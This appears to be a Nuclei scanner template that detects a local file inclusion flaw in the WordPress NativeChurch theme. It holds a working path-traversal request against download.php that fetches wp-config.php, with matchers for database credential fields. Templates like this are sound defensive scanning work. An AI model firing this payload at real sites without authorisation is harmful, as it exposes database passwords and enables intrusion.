id: nativechurch-wp-theme-lfd info: name: WordPress NativeChurch Theme - Local File Inclusion author: 0x_Akoko severity: high description: | WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file. reference: - https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html - https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1 metadata: max-request: 1 tags: wp-theme,lfi,wp,packetstorm,wpscan,wordpress http: - method: GET path: - '{{BaseURL}}/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php' matchers-condition: and matchers: - type: word part: body words: - "DB_NAME" - "DB_PASSWORD" - "DB_HOST" - "The base configurations of the WordPress" condition: and # digest: 4b0a00483046022100c6f65699021d81e0f72c6de7cc9196286f921143395769007b138c4f55a76c8e022100b5f3e2ee8c6be8e43d5b9c376435dd16f20c09a2dc755adf4d3ee7154432fff1:922c64590222798bb761d5b6d8e72950